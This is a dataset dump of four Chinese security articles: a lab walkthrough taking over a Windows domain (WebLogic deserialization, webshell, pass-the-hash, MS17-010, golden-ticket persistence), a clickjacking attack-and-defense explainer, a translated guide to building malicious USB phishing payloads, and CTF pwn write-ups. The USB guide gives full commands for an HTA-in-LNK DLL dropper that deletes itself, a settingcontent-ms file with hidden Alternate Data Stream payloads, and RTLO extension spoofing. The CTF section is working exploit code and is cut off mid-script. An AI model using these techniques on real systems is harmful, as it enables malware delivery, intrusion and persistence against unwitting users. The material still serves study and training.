text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
## 前言
无意间发现一个靶场,很适合我这种小白学习,清晰思路,写下来记录学习的过程。
## 环境搭建
DC：
* IP：10.10.10.10
* OS：Windows 2012
WEB：
* IP1：10.10.10.80
* IP2：192.168.111.80
* OS：Windows 2008
* 网站搭建:Weblogic 10.3.6 MSSQL 2008
PC：
* IP1：10.10.10.201
* IP2：192.168.111.201
* OS：Windows 7
攻击机：
* IP：192.168.111.129
* OS：Windows 10
* IP：192.168.111.128
* OS：Kali
内网网段：10.10.10.0/24
DMZ网段：192.168.111.0/24
进入`C:\Oracle\Middleware\user_projects\domains\base_domain\bin`目录下管理员身份开启startWeblogic批处理程序
## web打点
使用nmap扫描端口
有445 SMB,3389 RDP登端口开启
1433端口和7001端口分别是是MSSQL和Weblogic服务
访问端口看看
这里有个报错,我们先不管,由于是WebLogic,默认目录`http://xxxxxx:7001/console`下为后台管理页面登录
尝试弱密码后无果,使用工具尝试WebLogic漏反序列化漏洞,即CVE-2019-2725
命令也能成功执行
于是就想传一个webshell,用其他webshell工具去连
上传冰蝎jsp马到目录`C:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp`
连接成功
这里已经发现是一张双网卡主机,有可能10段通向内网
无ipc连接,net view命令无法使用
并已知是域内主机
查看进程无杀软,也无浏览器等信息(无法抓取浏览器密码),并且net命令返回ERROR 5
这是没有权限,于是准备反弹shell到后渗透神器cs,进行提权等操作
## 后渗透(内网漫游)
### 提权及信息获取
由于该主机出网,直接powershell上线
甜土豆进行提权
通过`nslookup`查询dns记录,这里查到一个`10.10.10.10`的ip,在域内,由于在域内,这个ip很有可能就是域控
又通过`net time`查到主域名称
抓取本机密码
可以看到其中有mssql明文密码和Administrator明文密码
准备3389连接,不过无论是`Administrator`还是`de1ay`都无法登录,准备添加一个账户,但添加后说没有权限,应该是普通用户组没有权限
使用命令添加到管理员组,连接成功
### 横向移动
扫描下同网段其他主机
扫描`192.168.111.0/24`以及他们的端口,发现一台名为`PC`主机,并且3389开启
再扫描10段
发现一台名为DC主机,看着名字就知道是域控,加上刚刚探测dns和主域名称,并且他的ip是`10.10.10.10`,基本可以判断这台就是域控
### psexec
那么在域控明确的情况下优先处理`DC`,首先想到的就是pth,因为域内很多密码都是批量设置的,这必须要试一下
使用当前抓取的Administrator账户和密码来传递
这里应该是成功了,但是迟迟未上线
太概率是由于对方不出网,无法形成反向shell,不出网的话一般就用smb处理,翻回刚刚的扫描记录,对方445端口是开启的,可以使用smb拿不出网主机
新增一个SMB beacon
再次使用psexec pass the hash
成功拿下DC
### MS17010
那么这里换一种思路,如果pth失败了,怎么办,那就要使用已知漏洞,比如MS7010
这里使用Ladon对10段扫描漏洞,发现DC是有漏洞的
在cs上不方便操作,派生会话给msf
首先在msf上执行如下操作
* use exploit/multi/handler
* set payload windows/meterpreter/reverse_http（跟cs上选用的payload一样）
* set lhost 本机ip
* set lport 接受的端口
* exploit 执行
回到cs上创建一个foreign监听的listeners
创建后右键WEB选择增加会话
选择msf的payload
msf等待shel反弹即可
由于目标不出网,需要先添加路由
* run get_local_subnets
* run autoroute -s 10.10.10.0/24
* run autoroute -p
一开始使用`windows/smb/ms17_010_eternalblue`这个模块
已经攻击成功了但是没有session返回,去看了一眼,好家伙,直接蓝屏
所以这个模块一定要慎用。索性换个模块
成功拿下
### 抓取DC密码
hashdump
有了域内`KRBTGT`账户的hash就可以伪造黄金票据
logonpasswords
查询域管账户
DC就算是拿下了
用相同的方式拿下PC
PC是出网的可以直接用http beacon
### 权限维持
做权限维持方式很多,粘滞键、启动项、影子用户等等。这次是拿到域控,这种情况下,黄金票据是一个很好的维权手段
黄金票据是伪造票据授予票据（TGT），也被称为认证票据。TGT仅用于向域控制器上的密钥分配中心（KDC）证明用户已被其他域控制器认证。
黄金票据的条件要求：
1. 域名称
2. 域的SID值
3. 域的KRBTGT账户NTLM密码哈希
4. 伪造用户名
黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限，上面已经获得域控的 system
权限了，还可以使用黄金票据做权限维持，当域控权限掉后，在通过域内其他任意机器伪造票据重新获取最高权限。
这里我们已经拿到了`KRBTGT`账户的hash值
并且也拿到了域的SID值,去掉最后的-1001
就可以伪造一张黄金票据
选择最边缘的web
伪造黄金票据成功
这里为了测试用了PC,一开始是无法访问域控目录的
生成黄金票据后
即使域控这台主机权限掉了,我们也能使用其他边缘主机用这个黄金票据模拟获得最高权限,而且由于跳过AS验证,无需担心域管密码被修改
添加域管账户
在域控上查看域管账户,添加成功
## 总结
最后能够维持权限的方式有很多,黄金票据的维权方式由于在域中独有,能接触到的机会也比较少,对于很少接触内网的我又是一个进步学习的机会,感谢前人师傅提供的环境,有错误的地方请师傅们指正。
最后欢迎关注团队公众号：红队蓝军 | 社区文章 |
### 0x00 概述
* 公司渗透检查要求点击劫持，发现Chrome不支持`X-Frame-Options: ALLOW-FROM uri`，JS防御可以被绕过，然后对点击劫持又查了一些资料，记录一下
* 本文主要讲解点击劫持攻击，包括漏洞简介、威胁场景、修复方式、深入攻防和一个经典案例
* 漏洞简介用实验简单描述了点击劫持，深入攻防部分开始通过实验讲了用js防御点击劫持漏洞的绕过方式和可能更好的防御方式
* 本文主要参考《白帽子讲Web安全》和斯坦福大学论文[《Busting Frame Busting:
a Study of Clickjacking Vulnerabilities on Popular
Sites》](http://seclab.stanford.edu/websec/framebusting/framebust.pdf)，推荐去看原文哦
### 0x01漏洞简介
点击劫持是一种视觉上的欺骗手动，攻击者可以使用一个透明的、不可见的iframe，覆盖在一个网页上，然后诱使用户在该网页上进行操作，通过调整iframe页面的位置，可以诱使用户恰好点击在iframe页面的一些功能性按钮上和一些操作。
之所以叫点击劫持（Clickjacking），是因为它劫持了用户的登录态，并诱导了点击等页面操作
作为一个前端漏洞，它相对与XSS和CSRF来说，因为需要诱使用户与页面产生交互行为，因此实施攻击的成本更高，在网络犯罪中比较少见，但仍然可能被利用在钓鱼、欺诈和广告作弊等方面
#### 做个实验、举个例子
我们修改hosts文件，使一台远程主机被解析为`example.com`，本机被解析为`hacker.com`，注意一些浏览器的有DNS缓存，注意清除
我们在远程主机上运行开启一个简单http服务应用，当我们访问时会出现如下一个文件下载目录页面，页面中只有一个文件链接，我们把它看成付钱功能的按钮
我们为这个页面设置cookie
resp.set_cookie('session-cookie', '123')
resp.set_cookie('third-part-cookie', '456', expires='Sun, 18-Mar-2019 10:05:05 GMT')
之后，我们在本机随意开启一个Web应用，返回一个HTML页面，页面代码如下，它将`example.com`放在一个`iframe`标签内，将iframe页面虚化透明，在iframe页面下层放置一个不透明的按钮，正好重叠在虚化透明的付钱按钮背后
<!DOCTYPE html>
<html lang="en">
<head>
<title>Clickjack</title>
<style>
iframe {
width: 1440px;
height: 900px;
position: absolute;
top: -0px;
left: -0px;
z-index: 2;
-moz-opacity: 0.2;
opacity: 0.2;
filter: alpha(opacity=0.2);
}
button {
position: absolute;
top: 100px;
left: 50px;
z-index: 1;
width: 120px;
}
</style>
</head>
<body>
<iframe src="http://www.example.com" scrolling="no"></iframe>
<button>Click Here!</button>
</body>
</html>
页面的实际显示如下图所示
点击后会发送请求到`example.com`，并带上`example.com`的cookies，也就是劫持了用户的身份
一般我们把cookies分为session cookie（临时cookie，断开连接后消失）和third-part
cookie（本地存储的cookie，expires会设置过期时间，浏览器会本地保存到过期），如上分别使用了这两种类型的cookie。某些版本的浏览器（IE7、IE8）出于安全考虑对iframe之类的标签不发送third-part cookie，目前主流浏览器包括IE高版本都会发送，所以基本只要带有cookie都能劫持
页面可以完全虚化透明至看不见，如果hacker.com的页面精美一些，可以更好诱导点击操作，甚至可以做个小游戏，在用户存在登录态的情况下，便可以使用用户的登录态在用户不知情的情况下，利用与用户产生交互的页面，诱使他们完成一些动作，一步或者多步操作
### 0x02 威胁场景
事实上我们虽然说点击劫持是劫持了用户的登录态，但实际上这是一种视觉攻击，因此也会有一些视觉效果上的攻击变种和配合
* 诱使用户登录站点，发送其他含有iframe的链接给用户，在用户不知情情况下诱使用户完成一些操作
* 通过类似flash游戏改变用户鼠标点击的位置，完成一些较为复杂的操作
* 搭配输入框填写表单
* 图片覆盖攻击(Cross Site Image Overlaying, XSIO)，覆盖原有站点的图片，诱骗用户点进钓鱼网站，这里原本原网站处于点击按钮前面，而想办法跳转到钓鱼站点则是将原网站处于点击按钮后方，然而实际上这种方式用处并不大，因为钓鱼有很多其他更方便的方法。防御XSIO时，需要检查用户提交的HTML代码中，标签的style属性是否可能导致浮出`(style="position:absolute;left: 123px; top:123px;")`，但其实没有什么意义，可以不管
* 拖拽劫持和数据窃取：浏览器支持Drag&Drop的API，比如JS的`event.dataTransfer.getData('Text'))`等接口，拖拽使操作更加简单。浏览器中的拖拽对象可以是一个链接一段文字，可以从一个窗口拖拽到另一个窗口，拖拽不受同源策略限制。“拖拽劫持”的思路是诱使用户从隐藏的不可见的iframe中“拖拽”出攻击者希望得到的数据，然后放到攻击者能控制的另外一个页面中，从而窃取数据，在JavaScript或者Java API支持下，这个攻击过程非常隐蔽，突破传统ClickJacking只能诱骗用户操作，不能获取数据的局限，有更大破坏力，所以一些浏览器直接不允许拖拽接口
* 手机触屏上的点击劫持，劫持用户触屏操作，而且手机为了节约屏幕空间，经常隐藏地址栏，更容易造成视觉欺骗
### 0x03 修复方式
首先要明确业务是否真的需要`iframe`嵌套，如无必要，不要使用，如要使用，最好同源。推荐以下方式中X-Frame-Options和JS防御结合
#### HTTP头部的X-Frame-Options标签
比较推荐这种修复方式，主流浏览器基本支持这个头部标签，可以在[MDN文档](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options)上找到浏览器的支持情况
最推荐的方式：在HTTP头部上加上`X-Frame-Options：DENY`头部
其次推荐：在HTTP头部上加上`X-Frame-Options：SAMEORIGIN`头部，这时，站点间安全性就是同源站点页面中安全性最弱的页面了，如果某个页面可以被篡改，就失去了防御的意义
最后，`X-Frame-Options: ALLOW-FROM uri`这个头部目前还不被Chrome支持，若是用户群体大而非内部使用的，不推荐使用
#### JS防御
用JS判断当前页面是否被其他页面嵌套，如果是，跳转到自己的域名下
建议代码，目前没有绕过方式，暂时比较安全，首先隐藏页面，当确认没有被iframe包裹时显示，否则重定向
<style>
body {display: none;}
</style>
<!-- 此段JS放在body加载完成后 -->
<script>
if (self == top) {
document.getElementsByTagName("body")[0].style.display = 'block';
} else {
top.location = self.location;
}
</script>
如果在网上搜索点击劫持修复方案，很多博客会给如下代码，不推荐使用，会被绕过
if (top.location != location) {
top.location = self.location;
}
#### 多因素认证
在重要功能按钮点击前加入多因素认证，如付款的二次密码或者某些隐私问题等。这种方式算很有效，但较麻烦，不重要的问题使用也会变复杂
#### 不以cookie作为登录态
不推荐，cookie机制还是比较安全可靠的，自定义HTTP头部或者其他方式需要开发本身了解其他方面安全机制和浏览器策略来确保安全，没有必要
#### CSP策略
FireFox有“CSP”策略，但是不是所有浏览器支持，不推荐使用，以后若普及可以使用
### 0x04 深入攻防
前面说到JS防御点击劫持的方式，事实上，点击劫持刚被提出时，几乎没有站点做了防御，之后有很多站点使用JS的方式防御，但是JS的防御代码存在被绕过的可能性，前面提到的斯坦福大学的论文就详细说明了绕过的各种方式。事实上，经过笔者测试，论文里提到的很多方法在现在最新的版本的浏览Chrome和IE上都无法重现了，浏览器可能已经针对性地修复了一些问题，但用户有可能仍然使用低版本浏览器，仍然要注意这些问题
JS防御代码的主要绕过方式有4种
* JS接口函数的hook
* 检查代码的绕过
* 部分浏览器特性导致的绕过
* JS禁用
#### JS接口函数的hook
站点防御方式
if (top.location != location) {
top.location = self.location;
}
方法一：onBeforeUnload事件触发：在即将离开当前页面(刷新或关闭)时执行自定义函数
攻击方式
<script>
window.onbeforeunload = function() {
return "浏览5分钟有红包";
}
</script>
<iframe src="http://www.example.com">
跳转时诱惑用户点击留在此页，如下图所示，跳转操作就不会触发。此方法在IE浏览器上仍然有效，Chrome已经无效，应该做了相应的规则处理
方法二：重写top.location，此方法在IE和Chrome上都无效，某些版本Safari有效
攻击方式，重写top.location，使该接口无效
<script> var location = "clobbered";</script>
// 或者
<script>window.__defineSetter__("location", function() {});</script>
<iframe src="http://www.victim.com"></iframe>
#### 检查代码的绕过
这种方式具有特殊性，需要站点对点击劫持的检查代码本身有逻辑错误，可以绕过，而绕过方式就是安全里比较常规的编码、特殊符号、大小写等fuzz手段
方法一：双重框架
当站点防御方式为
if (top.location != location) {
parent.location = self.location;
}
使用双层框架，攻击者先嵌入一个页面，再在那个页面里嵌入受害站点，某些版本浏览器会在第一跳转后parent对象仍然不变，导致防御失败。时间有限我没有尝试
Attacker top frame:
<iframe src='hacker.com'></iframe>
Attacker sub-frame:
<iframe src='example.com'></iframe>
双层框架还有另一种情况，即比如微软允许google嵌套的页面，检查的top.location是google则放过，但google没有点击劫持的防御，那我们可以嵌套google的页面，则可以间接嵌套微软的页面。此时问题发生在当允许被一个站点嵌套时，安全取决于防护做得最差的那一个
方法二：referrer检查
有的站点后端对referrer检查，不符合就不返回响应包或者返回错误信息，一般使用正则匹配，不是专门有安全方面意识的情况下，写的匹配语句可能被绕过
方法三：top.location检查绕过
防御方式：
if (filter(top.location)) {
top.location = self.location;
}
以上filter函数可能对站点名称做一些匹配，可以尝试使用fuzz的方式绕过，匹配规则不完全的情况下可以绕过
方法四：手机端一类站点绕过
简单讲就是example.com加了，但是和example.com功能一样的m.example.com没加，属于疏漏
#### 部分浏览器特性的绕过
这部分实验比较复杂，且出现情况特定，了解一下就好，详情可以看论文
* IE8和Chrome引入了XSS过滤器，我们在可以写一段恶意代码，利用浏览器XSS过滤器的匹配规则，禁用iframe标签页面里的JS代码或者禁用部分代码，这段恶意代码的构造就比较复杂，需要研究者专门针对性测试
* OnBeforeUnload-204冲刷，很多浏览器（IE7、IE8、Chrome、FireFox）可以让一个攻击者通过修改onBeforeUnload来重复提交location到204页面，不断冲刷会取消原始locaiton请求，和之前OnBeforeUnload差不多，但不需要和用户交互
* IE对iframe有一个`security='restricted'`属性，Chrome对iframe有一个`sandbox`属性，这些可以用来禁用被嵌套页面的JS，导致防御代码无效，但IE的这个属性也无法传送Cookie，也就失去了点击劫持的意义，Chrome仍然可以传送Cookie
* IE和FireFox实现的`document.designMode`可以在框架页面中被开启，会禁用JS，可以传送Cookie
#### 禁用JS
不管怎么用JS防御，被浏览器或者用户使用插件禁用JS就没有作用了
### 0x05 案例与总结
最后，使用facebook的一个案例做个总结
facebook知道JS代码可以被绕过被禁用的特性，为了真正防御点击劫持，在某个版本使用了以下的防御代码：这段代码添加了一个黑色9999*9999的像素块，50%透明，所有facebook的页面都在这个div之中，点击后会被跳转，不跳转点击也没有用，可以说是非常精巧了
if (top != self){
window.document.write("<div style='background: black;
opacity: 0.5;
filter: alpha(opacity=50); position: absolute;
top: 0px; left: 0px; width: 9999px; height: 9999px; z-index: 1000001'
onClick='top.location.href=window.location.href'</div>")
}
上面防御代码可以用以下方式绕过
<body style="overflow-x: hidden; border: 0px; margin: 0px;">
<iframe width="21800px" height="2500px" src="http://facebook.com/" frameborder="0" marginheight="0" marginwidth="0"></iframe>
<script> window.scrollTo(10200, 0);</scirpt>
scrollTo function动态移动frame到中心，清除了点击会跳转的div，防御代码失效
精巧如facebook的代码仍然被绕过，再回头看我们推荐的防御方式
X-Frame-Options头部存在以下问题
* 改策略需要为每个页面指定，这可能会使部署复杂化，可以在一些重要页面部署，比如支付和登录，当然，框架或Web容器部署则无问题
* 代理在添加和删除头部方面是臭名昭著的，可能会去掉头部X-Frame-Options导致不能防护，就像通信通信给HTTP页面嵌广告，HTTPS则无问题
JS的防御代码：我们上面推荐的JS防御代码只是已知还未存在绕过方式的代码，特点如下
* 页面加载时，样式表会隐藏页面上所有内容，禁用js，页面保持为空
* 类似的，如果页面被框架，将保持空白或者frame bust
* frame bust代码被阻止，如被hook，页面会保持空白
* 该脚本仅显示内容页面不在框架中运行的文档
* 注意用户使用NoScript也会不显示页面，需要后备机制
* 实验中没有发现任何用户可感知的渲染上的延迟
* 是目前最安全的方案而不是一定没有问题的方案
建议重要功能还是加上多因素认证
注意漏洞修复方式，不要以为修复了实际上没有用，所以对漏洞和业务的理解都很重要，很多情况下需要安全去积极了解业务或者业务主动询问安全来确定更好的修复方案
### 0x06 参考资料
《白帽子讲Web安全》
[《Busting Frame Busting:
a Study of Clickjacking Vulnerabilities on Popular
Sites》](http://seclab.stanford.edu/websec/framebusting/framebust.pdf) | 社区文章 |
本文翻译自：<http://blog.sevagas.com/?Advanced-USB-key-phishing>
* * *
本文讲解一些恶意USB key被攻击者利用用于工业系统攻击的场景。
# 简介
针对工业系统的攻击一般都是通过自动的恶意软件payload完成的，特点是不需要连接到远程系统。Payload也不需要窃取数据，因为主要目的是破坏，如Stuxnet震网病毒。攻击者需要绕过的安全防护措施包括电信网络过滤或完全的airgap。
在这样的环境下，攻击向量需要处理的规则有：
* 没有internet连接；
* 除操作系统外没有目标系统的其他信息；
* USB可见内容应该尽可能少地产生可能的告警；
* Payload的执行应该尽可能少地产生可能的告警。
攻击的目的就是传播和运行二进制payload。在下面的例子中，payload就是一个DLL文件。
# LNK POC
## 策略
在POC中，研究人员使目标认为打开的是一个图像（confidential.jpg），而实际上打开的是恶意的LNK快捷方式文件（confidential.jpg.lnk）。HTA
dropper隐藏在快捷方式文件中，LNK文件会执行HTA，而HTA会释放并执行DLL
payload，并用诱饵文件(confidential.jpg)替换快捷方式。
## 构建HTA DLL释放payload
研究人员用macro_pack创建了一个会释放和执行payload.dll的混淆过的HTA payload：
echo DllMain | macro_pack.exe --template=EMBED_DLL --embed=payload.dll --obfuscate -G payload.hta
EMBED_DLL模板会创建一段VB代码，代码会释放用-embed扩展加载的文件，并用Rundl32l加载。研究人员用该模板来运行DLL的DllMain函数。
研究人员用-G选项生成一个HTA文件，而且文件中的VB代码是混淆过的。
可以使用mshta来检查HTA文件是否工作，并调用临时文件夹释放的DLL文件。
## 构造释放payload的HTA图片
研究人员用EMBED_EXE macro_pack
模板在特定目录内潜入、释放和运行payload。在本例中，研究人员使用的图片是confidential.jpg。目标是在能够同样的文件夹中释放一个恶意LNK来在DLL
payload执行时替换该LNK。
echo "confidential.jpg" | macro_pack.exe -t EMBED_EXE --embed=confidential.jpg -o -G pic.hta
如果双击pic.hta，可以看到释放到当前文件夹的confidential.jpg图片，并被默认图片浏览器打开。
## 在自删除的HTA文件中装配
研究人员必须生成DLL释放器来在macro_pack中潜入到二进制payload，图片释放器会手动复制粘贴来生成最终的HTA payload。
指令：
* 在文本编辑器中打开payload.hta和pic.hta；
* 把pic.hta "AutoOpen"函数重命名为"AutoOpen2"；
* 复制pic.hta中除最后两行AutoOpen和Close外的所有VB代码到payload.hta；
* 在payload.hta文件中编辑最后的AutoOpen和Close。
AutoOpen2
AutoOpen
Set objFSO = CreateObject( "Scripting.FileSystemObject" )
Set WshShell = CreateObject("WScript.Shell")
objFSO.DeleteFile window.document.location.pathname
Close
payload.hta文件就会释放并运行这个图片，然后运行DLL，最后删除自己。
## 构建恶意LNK
研究人员利用HTA文件的多语言特性，将HTA嵌入到LNK文件中。研究人员希望LNK文件名为confidential.jpg.lnk，因此要运行下面的代码：
%windir%\system32\cmd.exe /c start "" "mshta" "%CD%\confidential.jpg.lnk"
然后使用macro_pack来生成LNK。研究人员可以直接生成快捷方式到USB Key中来避免系统对快捷方式文件的修改。USB所在目录是G:
macro_pack.exe -G G:\confidential.jpg.lnk
当提示shortcut_Target时，输入：
%windir%\system32\cmd.exe /c start "" "mshta" "%CD%\confidential.jpg.lnk"
当提示Shortcut_Icon时，输入：
%windir%\system32\imageres.dll,67 (Index 67 corresponds to JPG images icon in imageres.dll)
当创建LNK快捷方式文件时，研究人员将其添加到HTA代码中：
copy /b G:\confidential.jpg.lnk+cmd.hta G:\confidential.jpg.lnk
这就完成了钓鱼向量。
## 测试
将confidential.jpg.lnk复制到USB key中，将USB key插入到另一个Windows机器上。访问USB
key并双击confidential.jpg文件，就可以看到该文件。
DLL文件同时也加载了，但是是隐藏的，可以在任务管理器中看到。DLL在临时文件夹中释放的信息为Document1.asd，并且在了一行VB代码中执行：
CreateObject("WScript.Shell").Run "%windir%\system32\rundll32.exe %temp%\Document1.asd,<<<DLL_FUNCTION>>>", 0
之后可以看到LNK文件不在在USB key上了，而是被真实的图片文件替代了。
# 恶意设置的POC
## 策略
在第二个POC中，要让用户相信打开的是README.txt文件，而后台真正运行的是恶意的settingcontent-ms文件。
因为settingcontent-ms文件遵循严格的XML方案，所以像POC1中一样将其添加到HTA文件中看似不太可能。但研究人员使用NTFS
Alternate Data Stream来运行和隐藏DLL payload。
settingcontent-ms文件会运行隐藏在Alternate Data Stream (README.txt.settingcontent-ms:R)中的DLL，并运行Notepad来展示保存在了一个ADS（README.txt.settingcontent-ms:T. txt ）
中的诱饵文件。settingcontent-ms文件的好处是没有LNK或URI文件这样的快捷方式箭头。
## 构建诱饵文本文件
首先，要创建一个目标打开readme文件时notepad要展示的简单文本文件。
echo "This is a simple README file." > Text.txt
## 构建恶意设置快捷方式文件
研究人员使用macro_pack来生成settincontent-ms文件。比如，生成一个打开计算器的假的README.txt文件：
echo 'C:\windows\system32\cmd.exe /c calc.exe' '.' | macro_pack.exe -G README.txt.settingcontent-ms
DLL和诱饵文件会隐藏在USB key的NTFS文件系统的Alternate Data Stream中。但问题是settingcontent-ms文件默认是在C:\windows\system32\中打开的，也就是说必须要找出一种方法来找到USB
key所在卷。因此，研究人员选择了powershell：
%windir%\system32\cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter "DriveType='2'").Name;Start-Process "notepad.exe" "$drive\README.txt.settingcontent-ms:T.txt"; Start-Process "control.exe" "$drive\README.txt.settingcontent-ms:R"
这段代码的意思是：
* 调用wmi来将USB卷名传递给$driver变量；
* 用notepad来打开诱饵文件README.txt.settingcontent-ms:T.txt；
* 用control.exe来加载README.txt.settingcontent-ms:R文件中的恶意DLL。
注：DLL也可以用POC 1中的rundll32方法加载。
最终的README.txt.settingcontent-ms文件是这样的：
<?xml version="1.0" encoding="UTF-8"?>
<PCSettings>
<SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
<ApplicationInformation>
<AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>
<DeepLink>%windir%\system32\cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter "DriveType='2'").Name;Start-Process "notepad.exe" "$drive\README.txt.settingcontent-ms:T.txt"; Start-Process "control.exe" "$drive\README.txt.settingcontent-ms:R"</DeepLink>
<Icon>.</Icon>
</ApplicationInformation>
<SettingIdentity>
<PageID></PageID>
<HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>
</SettingIdentity>
<SettingInformation>
<Description>@shell32.dll,-4161</Description>
<Keywords>@shell32.dll,-4161</Keywords>
</SettingInformation>
</SearchableContent>
</PCSettings>
## 创建Alternative Data Streams.
首先，要确保USB key格式化为NTFS文件系统；
然后将README.txt.settingcontent-ms文件移动到NTFS USB key上。
在本例中，USB使用的卷名为G。下面开始创建ADS:
README.txt.settingcontent-ms:R 流中含有DLL:
type payload.dll > G:\README.txt.settingcontent-ms:R
文件G:\README.txt.settingcontent-ms:T.txt 流含有诱饵文件：
type Text.txt > G:\README.txt.settingcontent-ms:T.txt
使用sysinternal "Streams"可以检查USB key中是否创建ADS成功：
## 测试
将USB key插入另一台windows
10主机，访问USB并双击README.txt，就可以看到DLL加载的同时，notepad打开txt文件并展示文本内容：
This is a simple README file.
# Unicode RTLO POC
## 策略
下面证明通过注入Unicode Right-To-Left-Override（RTLO，文字倒序）来欺骗文件扩展。这是隐藏文件扩展名的好办法，因为字符经RTLO处理后会从右到左显示。比如，可以生成一个用macro_pack生成一个含有假jpg扩展的HTA文件：
echo calc.exe | macro_pack.exe -t CMD -G calc.hta --unicode-rtlo=jpg
在资源管理器中，本应是calc[rtlo]gpj.hta的文件会显示为calcath.jpg。这种方法在Ubuntu这样的系统中也是有用的。
## 练习
使用Unicode
RTLP进行钓鱼攻击有很多种方法。其中一种是将恶意exe文件伪装成zip文件。在这种攻击场景中，当受害者点击假的zip文件，exe就会运行payload并打开隐藏在文件资源或ADS中的诱饵文件。
有兴趣的朋友可以自己练习测试一下Unicode RTLO。 | 社区文章 |
# 2020 XNUCA Final 个人赛 PWN WriteUp
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## pwn1
首先看一下程序，程序提供了一个打开和读取文件的功能，首先是输入了一个任意长度的`name`，然后进入`main`函数
int __usercall hello@<eax>(int a1@<ebp>)
{
int v2; // [esp-4h] [ebp-4h]
__asm { endbr32 }
v2 = a1;
puts("welcome to baby xnuca2020~");
puts("I want to know your name");
_isoc99_scanf("%s", you);
return printf("Hello %s, I have kept you in mind\n", (unsigned int)you);
}
unsigned int __usercall menu@<eax>(int a1@<ebp>)
{
int v2; // [esp-24h] [ebp-24h]
int v3; // [esp-20h] [ebp-20h]
unsigned int v4; // [esp-10h] [ebp-10h]
int v5; // [esp-4h] [ebp-4h]
__asm { endbr32 }
v5 = a1;
v4 = __readgsdword(0x14u);
while ( 1 )
{
while ( 1 )
{
puts("1.Read a file");
puts("2.Print a file");
puts("3.Exit");
puts("> ");
_isoc99_scanf("%s", &v3);
v2 = atoi(&v3);
if ( v2 != 2 )
break;
xPrint((int)&v5);
}
if ( v2 == 3 )
break;
if ( v2 == 1 )
xRead();
else
puts("Invalid choise");
}
if ( you[8] )
fclose(you[8]);
return __readgsdword(0x14u) ^ v4;
}
注意到我们在输入`name`的时候可以直接覆写`you[8]`也就是`FILE`指针，由于程序是静态编译的`32`位，因此这里我们可以直接覆写`vtable`，利用`fclose`劫持控制流。但是程序中不存在后门函数，但是存在一个`garbage`函数，该函数可以直接造成栈溢出，执行`rop`。
在找`gadget`的时候需要注意`scanf`， `exp`如下
# encoding=utf-8
from pwn import *
file_path = "./pwn1"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
gdb.attach(p, "b *0x0804A1DA\n b *0x0804A0F1")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0
fake_io_address = 0x08104CE4
garbage_address = 0x0804A0C0
bin_sh_address = 0x08104CC0
fake_io = p32(0xffffdfff)
fake_io += b"\x00"*0x90
fake_io += p32(fake_io_address + 0x90)
fake_io += p32(garbage_address)
payload = b"/bin/sh\x00".ljust(0x20, b"\x00")
payload += p32(fake_io_address) + fake_io
p.sendlineafter("your name\n", payload)
p.sendlineafter("> ", "3")
p_eax_r = 0x080cb04a
p_eax_xx_r = 0x08066038 # pop eax; pop edx; pop ebx; ret;
inc_eax_r = 0x0808f26e
p_ebx_r = 0x08049022
syscall = 0x0807216d
xor_ecx = 0x0804ab3f # xor ecx, ecx; int 0x80;
payload = b"a"*0x20
payload += p32(p_eax_xx_r) + p32(8) + p32(0) + p32(bin_sh_address)
payload += p32(inc_eax_r) * 3 + p32(xor_ecx)
p.sendline(payload)
p.interactive()
## pwn2
是个`read`函数越界的问题，漏洞位于`XRead`函数中
v2 = get_num();
if ( v2 < 0 )
{
puts("error");
exit(0);
}
puts("Digest: ");
do
{
if ( v1 >= v2 )
break;
v1 += read(0, (char *)&you[0x42] + v1, v2 - v1);
}
while ( *((_BYTE *)&you[65] + v1 + 3) != 10 );
用户首先输入长度，然后函数根据用户输入的长度向`bss`段中读取数据。但是需要注意的是，这里的长度并没有做任何的限制，而`bss`段的长度是有限的。
0x8048000 0x8049000 r--p 1000 0 /root/work/2020XNUCA决赛/个人赛/pwn2/pwn2
0x8049000 0x804a000 r-xp 1000 1000 /root/work/2020XNUCA决赛/个人赛/pwn2/pwn2
0x804a000 0x804b000 r--p 1000 2000 /root/work/2020XNUCA决赛/个人赛/pwn2/pwn2
0x804b000 0x804c000 r--p 1000 2000 /root/work/2020XNUCA决赛/个人赛/pwn2/pwn2 // << bss_end
0x804c000 0x804d000 rw-p 1000 3000 /root/work/2020XNUCA决赛/个人赛/pwn2/pwn2
在动态链接的`read`函数中如果用户的输入超过了边界，并且边界之后不可写，那么`read`就会返回`-1`，那么就会变为`v1+=-1`，也就是会造成上溢出。
那么我们设置长度为`bss_end-&you[0x42] +
4`，也就是多输入`4`个字节，那么我们输入的内容就会覆写`you[0x41]`位置处的函数指针。将其覆写为`garbage`函数的地址，就可以利用该函数内部的栈溢出了。
# encoding=utf-8
from pwn import *
file_path = "pwn2"
context.arch = "i386"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
gdb.attach(p, "b *0x08049650")
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0
def readfile(path, size, content):
p.sendlineafter("> \n", "1")
p.sendlineafter("file path: ", path)
p.sendlineafter("Digest length: ", str(size))
p.sendafter("Digest: ", content)
p.sendlineafter("your name again", "a\n")
p.recvuntil("present to you.\n")
calloc_address = int(p.recvline().strip(b"\n")[2:], 16)
libc.address = calloc_address - libc.sym['calloc']
log.success("calloc address is {}".format(hex(calloc_address)))
log.success("libc address is {}".format(hex(libc.address)))
system_address = libc.sym['system']
bin_sh_address = libc.search(b"/bin/sh").__next__()
exit_address = libc.sym['exit']
length = 0xe78+0x4
garbage = 0x0804970F
